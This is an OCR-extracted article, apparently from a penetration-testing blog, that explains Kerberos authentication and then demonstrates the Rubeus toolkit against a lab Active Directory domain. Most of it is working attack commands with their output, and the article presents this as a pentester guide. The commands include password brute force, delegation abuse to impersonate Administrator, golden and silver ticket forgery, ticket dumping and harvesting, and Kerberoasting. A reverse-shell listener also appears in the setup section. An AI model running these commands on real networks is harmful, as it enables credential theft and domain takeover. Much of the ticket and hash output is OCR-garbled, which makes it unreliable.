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Introduction

Rubeus is a C# toolkit for Kerberos interaction and abuses. Kerberos, as we all know, is a
ticket-based network authentication protocol and is used in Active Directories.
Unfortunately, due to human error, often times AD is not configured properly keeping
security in mind. Rubeus can exploit vulnerabilities arising out of these misconfigurations
and perform functions such as crafting keys and granting access using forged certificates.
The article serves as a guide on using Rubeus in various scenarios.

Kerberos Authentication Flow

Kerberos and its Major Components

The Kerberos protocol defines how clients interact with a network authentication service.
Clients obtain tickets from the Kerberos Key Distribution Center (KDC), and they submit
these tickets to application servers when connections are established. It uses UDP port 88
by default and depends on the process of symmetric key cryptography.

“Kerberos uses tickets to authenticate a user and completely avoids sending passwords
across the network”.

There are some key components in Kerberos authentication that play a crucial role in the
entire authentication process.

Kerberos Roles

oomponen‘ts

Volunteers +« Client: & user who want to access some service

(Players) » KDC: Key Distribution centre that plays main role in Kerberos authentication. It

contains a database of users & applications hashes (key), a authenticate server
& ticket granting service.

+ Applications server: A dedicated server for specific service.

Encryption Keys +  krbtgt key: using krbtgt account NTLM hash.

* User key: using user NTLM hash.

*  Service key: using NTLM hash of service that can be a user or computer account.

*  Session key: which is passed between the user and KDC.

* Service session key: to be use between user and service

Tickets The TGT (Ticket Granting Ticket): the ticket presented to the KDC to request for TGSs. It
is encrypted with the KDC key.
The TGS (Ticket Granting Service): the ticket which user can use to authenticate against
a service. It is encrypted with the service key.

PAC The PAC (Privilege Attribute Certificate): a feature included in almost every ticket. This
feature contains the privileges of the user and it is sighed using the KDC key.

Message + KRB _AS REQ: User send request the TGT to KDC.
* KRB_AS_REP: User received the TGT from KDC.
+ KRB TGS REQ: User send request the TGS to KDC, using the TGT.
+ KRB_TGS_REP: User received the TGS from KDC.
+ KRB_AP_REQ: User send request authenticate against a service, using the TGS.
* KRB_AP_REP: (Optional) Used by service to identify itself against the user.
* KRB_ERROR: Message to communicate error conditions.
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Kerberos Workflow using Messages

In the Active Directory domain, every domain controller runs a KDC (Kerberos Distribution
Center) service that processes all requests for tickets to Kerberos. For Kerberos tickets, AD
uses the KRBTGT account in the AD domain.

The image below shows that the major role played by KDC in establishing a secure
connection between the server & client and the entire process uses some special
components as defined in the table above.

1. KRB_AS5 _RE | ietributi
Kerberos Tray | _AS_REQ Key Distribution Center

A

— ‘z. KRE_AS_REP |
[

‘ 3.KRB_TGS REQ ‘

A 4

‘ 4. KRB_TGS_REP ‘

As mentioned above, Kerberos uses symmetric cryptography for encryption and decryption.
Let us get into more details and try to understand how encrypted messages are sent to each
other. Here we use three colours to distinguish Hashes:

e BLUE _KEY: User NTLM HASH
o : Krbtgt NTLM HASH
e RED_KEY: Service NTLM HASH
Step 1: By sending the request message to KDC, client initializes communication as:

KRB_AS_REQ contains the following:

o Username of the client to be authenticated.

e The service SPN (SERVICE PRINCIPAL NAME) linked with Krbtgt account

e An encrypted timestamp (Locked with User Hash: Blue Key)
The entire message is encrypted using the User NTLM hash (Locked with BLUE KEY) to
authenticate the user and prevent replay attacks.
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Step 2: The KDC uses a database consisting of Users/Krbtgt/Services hashes to decrypt a
message (Unlock with BLUE KEY) that authenticates user identification.

Then KDC will generate TGT (Ticket Granting Ticket) for a client that is encrypted using
Krbtgt hash (Locked with Yellow Key) & some Encrypted Message using User Hash.

KRB_AS_REP contains the following:

o Username
e Some encrypted data, (Locked with User Hash: Blue Key) that contains:
o Session key
e The expiration date of TGT
e TGT, (Locked with Krbtgt Hash: Yellow Key) which contains:
e Username
o Session key
e The expiration date of TGT
o PAC with user privileges, signed by KDC

\.
Hey KDC Bro! I'm "I
User_007 plz ]

.. give me TGT A

5

Key Distribution Center

Kerberos Tray /

e

-~ ) J L
g 0Ok, Message ‘«:. — I
I l:. Decrypted :I ) /"’-- -R"\\
"-\ using NTLM ) .
. Hash e I-. Sending Encrypted .-I
— -‘\\ TGT using Krbtgt //-

.,

- — hﬁh ____-_____.»'

Step 3: The KRB_TGT will be stored in the Kerberos tray (Memory) of the client machine, as
the user already has the KRB_TGT, which is used to identify himself for the TGS request. The
client sent a copy of the TGT with the encrypted data to KDC.

KRB_TGS_REQ contains:

e Encrypted data with the session key
e Username
e Timestamp
o TGT
e SPN of requested service e.g. SQL service
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Step 4: The KDC receives the KRB_TGS_REQ message and decrypts the message using Krbtgt
hash to verify TGT (Unlock using Yellow key), then KDC returns a TGS as KRB_TGS_REP which

is encrypted using requested service hash (Locked with Red Key) & Some Encrypted
Message using User Hash.

KRB_TGS_REP contains:

Username
Encrypted data with the session key:
e Service session key
The expiration date of TGS
TGS, (Service Hash: RED Key) which contains:
e Service session key
o Username
e The expiration date of TGS
e PAC with user privileges, signed by KDC

/’J' Hey Bro! I need to access ™~
' SQL service via Kerberos
. authentication, plz verify

.  meviamyTGT & give TGS J/:

b 3
i/

1

Kerberos Tray Key Distribution Center
Al & 3

_%) |

| "\x\:_/_ |I

: L: S

TGT Ticket in the memory

; 0k, Message _.,lf'. S —

[ k) S aEm
ing Krbtgt
\. using | ) |
\ hash o 1 Sending Encrypted |

R “\_\ TGS using file hash /

Step 5: The user sent the copy of TGS to the Application Server,
KRB_AP_REQ contains:

e TGS

e Encrypted data with the service session key:
e Username
o Timestamp, to avoid replay attacks
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Step 6: The application attempts to decrypt the message using its NTLM hash and to verify
the PAC from KDC to identify user Privilege which is an optional case.

Step 7: KDC verifies PAC (Optional)

Step 8: Allow the user to access the service for a specific time.

Key Distribution Center

Kerberos Tray

&

" Welcome user_007, let me ™

I"' check your privileges to

\_ access the service from /

Hi SQL Bro! Plz Decrypt \\gpmain controller /_/

. the TGS ticket given by _~ a1
e

//‘"’ Let my check, if it gets~
'/' decrypted by my
\ service hash that is

\'\. only known by KDC. S,

.

Service Principal Name

The Service Principal Name (SPN) is a unique identifier for a service instance. Active
Directory Domain Services and Windows provide support for Service Principal Names
(SPNs), which are key components of the Kerberos mechanism through which a client
authenticates a service.

Important Points

e If you install multiple instances of a service on computers throughout a forest, each
instance must have its SPN.

e Before the Kerberos authentication service can use an SPN to authenticate a service,
the SPN must be registered on the account.

e Agiven SPN can be registered on only one account.

e An SPN must be unique in the forest in which it is registered.
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e Ifitis not unique, authentication will fail.

The SPN syntax has four elements

-
HTTP, LDAP, MSSQLSVC Computer Name: Port distinguished name (DN}, objectGuid, Internet
host name, or fully qualified domain name
l l l (FQDN]) for the service

Example: MSSQLSVC/ WIN-SOVKMTVLD2/ignite.local:1433

Type of SPN:

e Host-based SPNs which is associated with the computer account in AD, it is randomly
generated 128-character long password which is changed every 30 days; hence it is
no use in Kerberoasting attacks

o SPNsthat have been associated with a domain user account where NTLM hash will
be used.

Rubeus setup

Greek mythology mentions a three headed dog called “Cerberus” which sounds similar to
“Kerberos” (maybe even the inspiration for the name!). Harry Potter also mentions a three
headed dog called “fluffy” that belonged to and could be controlled by Hagrid whose full
name was Rubeus Hagrid. With a name cleverly based on Sci-Fi and mythology, Rubeus is a
tool, developed by Will Schroeder and a few other contributors, that attacks Kerberos and is
capable of generating raw Kerberos data on UDP port 88. It is derived from Mimikatz and
MakeMeEnterpriseAdmin projects. It can be downloaded here.

Please note that the most recent Rubeus binary can be compiled from code by using Visual
Studio but a release for ease of use can also be found here.

Detection: Due to the usage of generic functions and derivation from Mimikatz (kekeo family
of malware as per CARO) and set procedures, its signatures are by default blocked in many
anti-viruses. Plus, Rubeus works as a dropped executable and so, a clever attacker needs to
obfuscate Rubeus to hide its detection as soon as it’s dropped on the disk.

Once downloaded, it can be dropped on the victim’s system and run

[ rubeus.exe ]
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3 4444
listening on [any] 4444 ...
connect to [192.1 1.4] from (UNKNOWN) [192.168.1.3] 54216
i soft Windows [Version 1
815 Microsoft Corporation. Al

\Public>rubeus.ex

Ticket requests and renewals:

Retrieve a TGT based on a user password/hash, optionally saving to a fi
rent logon session or a specific LUID:
; / /password : PASSWORD [/enctype:DES|RC&|

H | /rc&:HASH | 5 C /aes256:HASH> [/domain:DOMAIN] [/d
NAME] [/ptt] [/luid] [/nmowrap] [/op 1 [/nopac] [/oldsam] [/pro https

Retrieve a TGT based on a user password/hash, start a /netonly process,
ss/logon session:

H | /rc4:HASH | SH | |
main:DOMAIN] [/dc:DOMAIN_CONTROLLER]
OXY/kdcproxy]

Now that we have set it up, we are ready to demonstrate various options in Rubeus.

Ticket Operations

Working of an Active Directory environment depends on various tickets. For example, a
Ticket Granting Ticket is an authentication token issued by the KDC which is used to request
access from TGS for specific resources.

In this section, we’ll talk about Rubeus and it’s capability to play around with tickets.

Asktgt

Rubeus can generate raw AS-REQ traffic in order to ask for a TGT with a provided username
and password. The password can also be an encrypted in RC4, AES or DES encryption and it
would still work. Let’s see an example where clear text password is supplied

[ rubeus.exe asktgt /user:harshitrajpal /password:Password@1 ]
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aI;h1T14]p41 /password:Passwordadl
ssword: Passwordal

Action: Ask TGT

Using rc&4_hmac hash:

Building AS-REQ (w/ prea I g 1Tn 10Lal harshitrajpal'
Using domain controller:

TGT reqguest ssful!

baseg4(ticket.kirbi):

doIFNDCC
AwIBAQEY
RanWUIU;

L Xth5oghV5F@RISvV
._p1h+nwm9N+ FADA1reV; / Jule YrRWMEEBZ7Jer51foy86EvIHSTM
VioliVecbfzXihw70zJjx (K :

0/ tMyRuBf

“DRDPDDDWZS1DiQt
EU9E9qun9u+T#A1n+D”1 ]
NEop? delem\LDg-+TP¢dezuTE5b+f1
ADzh7iDQp5 Qrau7 fUIRrrPi J
MIHEMIG+0Bsw qADAQEHQE[EEKEEFamUAmsG_
sNaGF pdHJhanBhbKMHAWUAGQOUAAKURG
wMj IwNTAGMDYBNZzAZWgg0G
AZ555b2NhbA=

krbtgt/ignite.local
IGNITE.LOCAL
harshitrajpal

As you can see above that a KRBTGT has been successfully generated which can be further
used to generate TGS. The same can be achieved by providing in the encrypted password.
Let’s use password encrypted with RC4 cipher.

[ rubeus.exe asktgt /user:harshitrajpal ]
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FC26AF97CBDEF151ED3

Action: Ask TGT

Am9CafzDT
AUHbT5j90mt6

W ADAZEXORIEEKOpt I1EYrU+Xtr
pdHJhanBhbKMHAWUAQOUAA
M3 TwNTA®
sb2NhbA=

Asktgs

Rubeus has an asktgs option which can build raw TGS-REP request by providing a ticket

either in the CLI argument or by providing path to a ticket.kirbi file placed on disk. Each TGS
has a specified purpose.

For example, let’s create a TGS for LDAP service. One or more service SPNs can be provided.

rubeus.exe asktgs /user:harshitrajpal /ticket:doIFNDCCBTCgAwIBB...bA==
/service:LDAP/dcl.ignite.local

{GNITE 2lreee

Technologies



FoQ4bDELHTKLU
A+YMUGN/TPP1

i g AuiNg

/1fBeFSUIT1/7WVZ6 ADAg
hDhsMSUdO N g s : ] .nE‘thfiI'-lHAl-:UAU_OUAAK
j JR@5IVEUUTEODQUYpIT

By providing in the TGT we generated in the previous step (copying in notepad and
removing enters to type the ticket in a single line) we have generated a TGS successfully.

Action: Ask T

Requesting default etypes (RC4_HMAC, AES[12
Building TGS5-REQ reguest for: 'LDAP/dcl. i
Using domain controller: dcl.ignite.loca
TGS request successful!
baseb4(ticket.kirbi):

UPB éLt+Q9]mp1“
NyAAwrqoD7ol

LbeI;TLhm1F1[U[
+H1p\;1q101b

4yqS4jPgvbRK1043+HjUhLyD1P0
i4NEKZpJs9Qp3wWSC+5cXNtUT+nd
Fdvz+)/ntu41ZB7aNNp7

AgEA0oHIBIHffYHCMIHZoIHI

/ WduGcoQ4bDELHTKLURSSMTAGNET g
AACTEREPMjAYMiAOM ] cwN jU2NDZaphEYDzIwMjIwND

DhsMSUdOSVRFLkx PUUFHQJHMIRADAQEfOFOMUE:ETEEEUE;D;UH;LN]nbm1
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Klist

Klist command in Windows can be used to view the tickets generated in the system. Here,
when we run klist command we can see that a KRBTGT and an LDAP TGS have been
generated and stored in the session.

ers\Public>klist

L 5
klist

Current LogonId is ¢
Cached Tickets:

harshitrajpal @ IGNITE.LOCAL
kr DTETFIuNITE LOCAL @ IhNITE LOCAL
C-SHA1-96
ible initial pre_authent ok_as_
onicaliz

Start Time:
End Time:
Renew Tim

d: dLl.lgnltE.IOLal

harshitrajpal @ IGNITE.LOCAL
LDAP/dcl.ignite.local/ignite.local @ IGNITE.LOCAL
/ption Type HMAC-SHA1-96
F wuthent ok_as_d

Start Time:
End Time:

Renew

The renew function in Rubeus builds a TGT renewal exchange. We can specify a domain
controller using the /dc flag which will be used as a destination for the renewal traffic. We
can further use the tgtdeleg option with this and extract user’s credentials without
elevation and keep it alive on another system for a week by default.

/ptt flag can also be used in conjunction to apply the Kerberos

[ rubeus.exe renew /dc:dcl.ignite.local /ticket:doIFNDCCB....bA== ]

/autorenew sub function will put the exchange to sleep for endTime 30 minutes and after
that window automatically renew the TGT and display the renewed ticket
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[ rubeus.exe renew /dc:dcl.ignite.local /autorenew ]

AX615
MuVVsufAiQFOONGFp

gAqld J
nZ jmA/Czz > € e6TL 7€ FNjd+fIgmufoj
s4bORjumfvsc \ eGThTV

ZUS4s59mlR
WgqOmKNnTuGNr
= NQ8sL (Q7ntL2Z6
ORIEEKOptI1EyrU+xtrKFTDG]S
mERgPMjAyMiA0
b2NhbA=

Brute

The brute option in Rubeus can be used to perform a password bruteforce attack against all
the existing user accounts in Active Directory. Many times, a same password is used with
multiple accounts in real life enterprise infrastructure. So, brute option can generate
multiple TGTs in those accounts having same password. /noticket can be used in
conjunction with this option since no ticket is provided with this functionality. For example,

[ rubeus.exe brute /password:Password@1 /noticket ]
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\ >rubeus.exe brute /password:Password@l /noticket
.exe bluTn /password:Password@l /noticket

Action: Perform Kerberos Brute Force
Using domain controller: 192.168.1.
Administrator KRE-ERROR (14) : KDC_ERR_ETYPE_NOTSUPP

Using domain controller:
E101PndFD1;qbled u
iin contr 192.168.
/Disabled u > Default
domain controller: 192.168.1.
d/Disabled user = krb
domain controller: 192.1¢ 8
UNLUCKY = harshit:Passwordal ( KEY_EXPIRED)
Using domain cont L
STUPENDOUS = a: asswordml
base64(aarti.kirbi):

doIFBDCC OrQAWIEEqEDAEEWDOIEDDFFEAthEOEHIIEAhADAQEFODHDDE1HTP1UE SMTONBTKIhME+g
YnRndBEsMal 41D ( g § oIDsgS5CAGBTaHBZR

sukDvLY5mmkG jgbYoujj JH3 SA1E4BmMVIri19jeqa

kn@ “*FETEUthNtutU 1VoF+j

47PT2YtcdMh2qLAexY6Tuszna (2 . 8zhb4/sHqQa eHZnBnuK@hs jatGmeel
GDyJYDgVZsDoAyB C
1VpDOJKSOHP

]NanTQ z23
X Fw#Dan

1D++n19Th5dpA1'
CKMEENLL5xiMZ7R

Hash

Rubeus is capable of taking in passwords and generate hashes of it. These are of different
formats including NTLM (rc4_hmac) hash. To do this, we can use hash function and provide
domain using /domain, an account’s name (can be a machine account too) using /user flag
and the password using /password.

[ rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1 ]
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Action: Calculate Password Hash(es)

Input pa d : Passwordgl
Input = : noob%

Input : ignite.local
salt : IGNITE. LU_

_hmac_shal : 2
_hmac_shal : 411BC222090278D92319E33C9FB4T73F

As you can see 4 different hashes have been output. Various encryption ciphers are used in
conjunction with popular hashing techniques. All of these ciphers are supported in AD
environment and hence, may be used in different purposes.

S4u

We saw above how we can generate hashes using Rubeus. Now let’s talk about once such
attack where hashes can be used to impersonate another user and carry out delegation
attacks. For a detailed write-up on delegation attacks follow the link here. In short, OS post
Windows server 2003 contained a Kerberos protocol extension called s4uself and s4uproxy.
These protocols can be used to conduct delegation attacks. For example, in the example
below, we have performed an attack called “Resource-Based Constrained Delegation” which
benefits the msDS-AllowedToActOnBehalfOfAnotherldentity option set in the attribute’s
editor. Follow the article here for full attack. In the example below, we’ll use the user noob’s
hash and then impersonate Administrator account.

/rc4: flag is used to provide user noob’s account.
/impersonateuser: User that will be impersonated by noob.

/msdsspn: A valid msDS-AllowedToActOnBehalfOfAnotherldentity value for the account.
Here, the domain controller

/altservice: can be supplied to substitute one or more service names in the resulting .kirbi
file.

/ptt: Injects the resulting ticket in the current terminal session

rubeus.exe s4u /user:noob$ /rc4:64FBAE31CC352FC26AF97CBDEF151E03
/impersonateuser:Administrator /msdsspn:host/dc1.ignite.local /altservice:cifs
/domain:ignite.local /ptt
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Action: lculate Password Hash(es)

Input password : Passwordml
Input username : noob$

Input domain : ignite.local
Salt

o

8092319

;
4
es
s
s

m

‘\noob$’

TGT request successful!

This would generate a ticket for Administrator user over the specified SPN. In short, we can
now act as DC.
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Impersonating user 'Administrator’
Final t will be for the 41Tﬁ
Building request for serv
Using domain cont er: dLl.lgnith.loca1
i aquest to domain contloll

ice name 'cifs’'

doIGCDCC
AmIEAqEq

qpuup:[g +19h-
e5nWllUikum+nXgals

9Pgs9ju
HnwwTHz

LPWTVgMp+p
1b01UpT1tuﬁ1E+UFH4 7

ZsbAiHkAMGLn
krhmu+7gk1
g 55EkiFLYoiB
Z]/uRHf5ERaU@ZhgV/NiagjL6ENgQeXF1BOOQBdIAkGY 1L
yhTODguP8z1DLUv/ujrms0jsq+3EJgEdFeGvugtLATewOun

¥y EauqHHAmUADhUAAhUE
E4MTY@ONDQzWqg0Gwx]
OAMCAQK
[+] T11P=T successfully imported!

Golden Ticket

Golden tickets are forged KRBTGTs (Key Distribution Service account) which can be used to
forge other TGTs. This provides an attacker persistence over the domain accounts. For a
detailed walkthrough on the topic you can visit the article here.

To forge a golden ticket for user harshitrajpal, we first generate an AES hash (RC4 works too)
using the hash command in Rubeus and then using the golden function like so. Here,

/ldap: Retrieves information of user over LDAP protocol
/user: Username whose ticket will be forged

/printcmd: displays a one liner command that can be used to generate the ticket again that
just got generated

rubeus.exe hash /user:harshitrajpal /domain:ignite.local
/password:Password@1

rubeus.exe golden
[/aes256:EA2344691D140975946372D18949706857EB9C5F65855B0E159E54260B
EB365C /ldap /user:harshitrajpal /printcmd
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> hash /user:harshitrajpal /domain: e. assword: Passwordal
/user:harshitrajpal /domain:ignite.local /password:Passwordml

Input passw
Input username
Input domain

18949706857EBY9C5F65855BOELS9ES

857EB9CS5F65855BOE159ES 5C /lda

[*] T
[*]
information over LDAP from domain
1' for "(l(objectsid=5-1-5

As you can see various details like SID, userlD, Service Key etc are being fetched over LDAP
which are important to generate a ticket. PAC signing is also done and a TGT generated for
harshitrajpal
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Building PAC

Domain : IGNITE.LOCAL (IGNITE)
SID : 5-1-5-2 B4-1974907900
: 1115

E

AuthTime
StartTime
EndTime
RenewTill

anndE;Hqu
'UPLD;E;qUTHanjde
b alrVolIX1l/
pWER3U185R
yEEIDELflTEjgr 7
ﬁjbia F11UJD'
EDl mEhBA

hbdFubDA
qLgFelUg
DNulQBZdsZ

Also, at the end you’ll see a one liner command that can be used to generate this TGT again.

gSEwHGADAgECORgWFhsGa3JidGdes 25pdGUUbGY j YWw=

[#] Printing a command to recreate a ticket containing the information used within this ticket

golden /aes256:EA 4691D1409;
id:1115 /pgid:513 /dom
AM"
H ] al” /ne blO; IuNITE /groups:513
OUNT TRUSTED_TO_AUTH_FOR_DELEGATION

Various other options can be used in conjunction with golden to modify the generated TGT
like:

/rangeinterval: After every time specified, a new ticket will be generated.

/rangeend: Specifies the maximum time tickets will be generated for. Here, 5 days. Since
rangeinterval is 1d, 5 different tickets will be generated.

For a full list of modifications, see this page.
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[*#] Action: Build TGT

[*] Tryi b ery LDAP using LDAPS for
[*] ing path 'DC=ignite,DC
[*] tr ing domain poli

[*] ¢ rching path ' i f 5 7 p-513)(na

me

[*] A

[*]

[*]

[*] \\dc

[*] tr [ from domain controller dcl.ignite.local

[*] ing th 'CN=Configuration,DC=ignite,DC=local’ for '(&(netbiosname=+*)(dnsroot=ignite.local))’

EB9C5F65855BAE159E54260BEB365C

EB9C5FB5855B@E159ES42

: ignite.local

Silver Ticket

Silver tickets are forged Kerberos Ticket Granting Service (TGS) Tickets but with silver tickets
there is no communication with the domain controller. It is signed by the service account
configured with an SPN for each server the Kerberos-authenticating service runs on. For
more details visit the page here.

Silver ticket attack can be performed using Rubeus using silver function. Other
customisations need be made like:

/service: SPN of the service ticket is being generated for

/rc4: Hash of a valid user (harshitrajpal here) which will be used to encrypt the generated
ticket

/user: username of the user whose hash is provided
/creduser: User to be impersonated
/credpassword: Password of the user to be impersonated

/krbkey: used to create the KDCChecksum and TicketChecksum. This is the AES256 hmac
shal hash in the following case.

/krbenctype: type of encrypted hash used. Aes256 here.
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/rubeus.exe hash /user:harshitrajpal /domain:ignite.local \
/password:Password@1
rubeus.exe silver /service:cifs/dcl.ignite.local
/rc4:64FBAE31CC352FC26AF97CBDEF151E03 /Idap
/creduser:ignite.local\Administrator /credpassword:Ignite @987
/user:harshitrajpal
/krbkey:EA2344691D140975946372D18949706857EB9C5F65855B0E159E54260

kBEB365C /krbenctype:aes256 /domain:ignite.local /ptt /

ublic>rubeus hash /domain:ignite.local /fuser:harshitrajpal /password:Passwordml
hash /domai g e.local /user:harshitrajpal /password:Passwordal

Action: Calculate Password Hash(es)
Input password

Input username
Input domain

arshi P

5256 /domain:igni

[#] Action: Build TGS

This helped us generate a silver ticker for Administrator account. And as a result, we are
now able to access DC machine’s C drive

[ dir \\dcl.ignite.local\c$S ]
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\Users\Public>dir ‘‘\dcl.ignite.local
dcl.ignite.loc: ]

Volume in drive ‘\‘dcl.ignite.local

Volume Serial Number is 1ESE-1557

cl.ignite.local

AM <DIR> inetpub

PM <DIR> PerflLogs

AM <DIR> Program Files
PM <DIR> Program Files
PM <DIR> Shares

AM <DIR> Users

PM <DIR=> Windows
ile(s) @ bytes

7 Dir(s) 52,225,916,928 by

C:\Users\Public>whoami
whoami
ignitehharshitrajpal

Ticket Management

Rubeus contains multiple ticket management options that may aid a pentester to conduct
operations effectively and stealthily. As a pentester, we need to manage our generated
tickets.

Ptt
The Rubeus ptt option can import the supplied ticket in command line. The /ptt can also be
used in conjunction with other options that output tickets. For example,

[ rubeus.exe ptt /ticket:doIFNDCCBTCgAwlI...bA== ]

oIERDCCBEBh
SAwWIBEqQEDAgZ
/ITwFLnWADUNRHSEmNCFEGSH

M 1%qjkeGBuHpXMPf
+rReFu9JyKe fEhAUHOS JX@ / ¥msci
JBEIHNfYHKMIHHo IHEMIHEMIG+0BEsu
hpdHJhanBhbKMHAWUAQOUAAKUR

[#] Action: Import T t
[+] Ticket suc imported!
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As you can see, the generated ticket has now been imported.

Purge

Rubeus has a purge option which can purge/delete all the tickets existing in the current

session.

Here, we demonstrate how we purged 2 tickets listed by klist.

[ rubeus

.exe purge

ers

Current

Cached T

Current

“Public>klist

LogonId is @:@=x1e@d97
icket

harshitrajpal @ IGNITE.LOCAL
krbtgt/ignite.local @ IGNITE.LOCAL

Start Time:
nd Time:
enew Time:

Client: harshitrajpal @ IGNITE.LOCAL
r: cifs/dcl.ignite.local @ IGNITE.LOCAL
ISADST RC4—-HMAC(NT)

rdable renewable pre_authent

LogonId is @:@x1e@d97

Cached Tickets: (@)

(GNITE
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Describe
Often we lose track of the tickets in system. Describe option helps us to view details about a
particular base64 encrypted blob or ticket.kirbi file.

We can provide the ticket using /ticket flag.

[ rubeus.exe describe /ticket:dolIFNDCCBTCg...bA== ]

oIERDCCBEB HIIEDKADAQ FoQ&4bDELHTKLURSSMTONBTKIhMB+
eh9Am

]ELlFT_+-
y5mgIfpSWHymuTHbo+0Q0Qake _IbnuNLEjN
iFAYHNSN11tR+Q

UYcIpJpXJl42s
) JumTYb
TlvngKuNb' J
\LGGprIpr
OuhDhsMSUdOS

[*] Action: Describe Tic

IGNITE.LOCAL

IGNITE.LOCAL
StartTime
EndTime

initial, renewable, forwardab

ﬁquthlanQhEddT5w==

Triage

While klist views tickets for current session triage lists all the tickets. When a session is being
run as an administrator, we can not only view tickets in the current user’s session memory
but other user’s tickets in memory too.

/luid: This flag can be used to provide a specific user ID.

rubeus.exe triage
rubeus.exe triage /luid:0x8f57c
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Action: Triage Kerberos Tickets (All Users)

[#] Current LUID M ELELTEY

UserName EndTime

aarti @ IGNITE.LOCAL krbtgt/IGNITE.LOCAL
aarti @ IGNITE.LOCAL P/dcl.ignite.local/ignite.local
workstatione @ IGNITE.

workstatio IGNITE.

workstatio o IGNITE.LOCAL

workst @ IGNITE.LOCAL

workstation® @ IGNITE.LOCAL

workst @ IGNITE.LOCAL

workstation®@ IGNITE.LOCAL

workstatio @ IGNITE.LOCAL

workstatio @ IGNITE.LOCAL

Ch LN LN LA LRowD D

[s3 0+

[ A A N N
[=3]

Action: Triage Kerberos Tickets (All Users)

EndTime

arti @ IGNITE.LOCAL | k /IGNITE.LOCAL
rti @ IGNITE.LOCAL | LDAP/dcl.ignite.loc

Also, when the LUID is known, we can purge particular user’s tickets too (elevated mode
only)

[ rubeus.exe purge /luid:0x8f57c ]
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[*] Action: Purge Ticke
Luid: @=8f57c

[#*] Target LUID:
[+] Tickets succes

Dump

If the session is running in an elevated mode, a user can dump/ extract all the current TGTs
and service tickets. Again, /luid can be provided to dump specific user’s tickets. /service can
be used to filter these tickets.

For example, /service:krbtgt displays only TGTs.

[ rubeus.exe dump ]
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Action: Dump Kerberos
[#] Current LUID

UserName
Domain
LogonId
UsersSID

Ticket Data (Current User)
@x1e@d97

harshitrajpal
IGNITE
A=x1e@d97
F760704-1974907900

AuthenticationPackage

g DNSDomain
UserPrincipalName

ndTime
enewTill

DC1
IGNITE.LOCAL
harshitrajpal@ignite.local

ldap/dcl.ignite.local
IGNITE.LOCAL

harshitrajpal

IGNITE.LOCAL

! ip 2:52:89 PM
16 PM
16 PM

For a specific service like only krbtgt:

renewable

[ rubeus.exe dump /service:krbtgt

(GNITE
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Action: Dump Kerberos Ticket Data (Current User)

[*] Target service : krbtgt
[#] Current LUID ; @=1le@d9y

Useriame : harshitrajpal

Domain : IGNITE

LogonId : @=1e@d97

UsersID : §-1-5-21-2377760704-1974907900-3€
AuthenticationPackage : Kerberos

LogonType : Interactive

LogonTime : &Y 2

LogonServer : DC1

LogonServerDNSDomain : IGNITE.LOCAL

UserPrincipalName : harshitrajpal@ignite.local

ServiceName : krbtgt/ignite.local
ServiceRealm : IGNITE.LOCAL
UserName : harshitrajpal

Tgtdeleg

Tgtdeleg is Benjamin Delpy’s technique that can exploit the Generic Security Service
Application Program Interface (GSS-API) trick and allows you to extract a usable TGT .kirbi
file from the current user’s session in low elevation mode. This Windows API can be used to
request a delegate TGT that’s intended to be sent to a remote host/SPN.

This can be done like:

[ rubeus.exe tgtdeleg ]
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tion TGT (current user)

 to build

delegation f

§ gquset
Found the AP-REQ dele

q
ogenEHF
TJLNL4ZbGAT4

/dc.domain.com’

or target 'cifs/dcl.ignite.local”

et is now in GS
output.

XALTodIDHDA+4Cn

JYLUW/Iv1D

_HDLth
TsVitQnl

API output.

SMTONBT

2QH9eiYNaRs

KIhMB+g

As you can see, the current user’s TGT has been dumped successfully.

Monitor

The monitor function can periodically extract all TGTs every x seconds where x is the

variable provided in the /interval flag.

/targetuser: Only the specified user’s tickets will be returned.

[ rubeus.exe monitor /targetuser:noob$ /interval:10

(GNITE
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ersyPublic>rub
.exe monitor

[#*] Action: TGT Monitoring
[#] Target user : noob%
[*] Monitoring every 1@ seconds for new TGTs

Harvest
The harvest option extracts TGTs every x seconds where x is provided by /interval flag and it

also keeps a cache of any extracted TGTs and any tickets about to expire are autorenewed.

/nowrap filter: Displays tickets in a single line (very helpful)

/runfor: Can specify the end time of harvest option

[ rubeus.exe harvest /interval:30 ]

[*] Action: TGT Harvesting (with auto-renewal)
[*] Monitoring onds for
[#] Displaying t i ng TGT cache

initial, renewable, forwa

6gWyBbRTFmMB jtVjsBYLToHVswlvaEpb3dgIK1KUbmj jBQ zrpuPfh9alLBoD

[7BOKBVpLGFdSq6QXKYmsBIuktLJ1oQbrMSUbdiH9ARDCaREQGIqiX9E/hE1qyhGQYOL5uky
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Kerberoasting

Kerberoasting is a technique that allows an attacker to steal the KRB_TGS ticket, that is
encrypted with RC4, to brute force application services hash to extract its password.
Kerberos uses NTLM hash of the requested Service for encrypting KRB_TGS ticket for given
service principal names (SPNs). When a domain user sent a request for TGS ticket to domain
controller KDC for any service that has registered SPN, the KDC generates the KRB_TGS
without identifying the user authorization against the requested service.

An attacker can use this ticket offline to brute force the password for the service account
since the ticket has been encrypted in RC4 with the NTLM hash of the service account.

For a detailed guide on Kerberoasting, see our article here.

To perform Kerberoasting using Rubeus for a specified SPN, we can provide using the /spn
flag.

[ rubeus.exe kerberoast /spn:ldap/dcl.ignite.local/ignite.local ]

C:\Users\Public>rubeus.exe kerberoast /spn:ldap/dcl.ignite.local/ignite.local

hashes will be returned for AES-enabled
/ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

: ldap/dcl.ignite.local/ignite.local

12
4BESB91ECSDS
049F@7CADE
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As you can see above, a valid Kerberos hash has been dumped by kerberoasting LDAP
service. These can be cracked using hashcat with module number 13100.

/tgtdeleg can be used to perform the tgt delegation trick to roast all rc4 enabled accounts

[ rubeus.exe kerberoast /spn:ldap/dcl.ignite.local/ignite.local /tgtdeleg ]

eleg

[*] Action: Kerberoasting

[*] Using
[*] RC&4&_HMA

[#] Target SPN
[#] Has

EFFB1FAF9F97
PEC7DB

/aes flag can be used to roast all AES enabled accounts while using
KerberosRequestorSecurityToken

rubeus.exe kerberoast /spn:ldap/dcl.ignite.local/ignite.local /aes
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cerberoast /spn:ldap/dcl.ignite.local/ignite.local /aes
kerberoast /spn:ldap/dcl.ignite.local/ignite.local

Action:

NOTICE:

1989FDB63
9DEE676BD99EF69E
72F69A985C1D5CF

5EE9A9519
-gﬂDBGFDA

Alternate domain credentials to perform Kerberoasting and searching for users to
kerberoast can be done using the /creduser and /credpassword

rubeus.exe kerberoast /spn:ldap/dcl.ignite.local/ignite.local
/creduser:ignite.local\Administrator /credpassword:Ignite @987
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rberoast /spn:ldap/dcl.ignite.local ite.local /creduser nite.localMAdminist

sword:Igniteq98
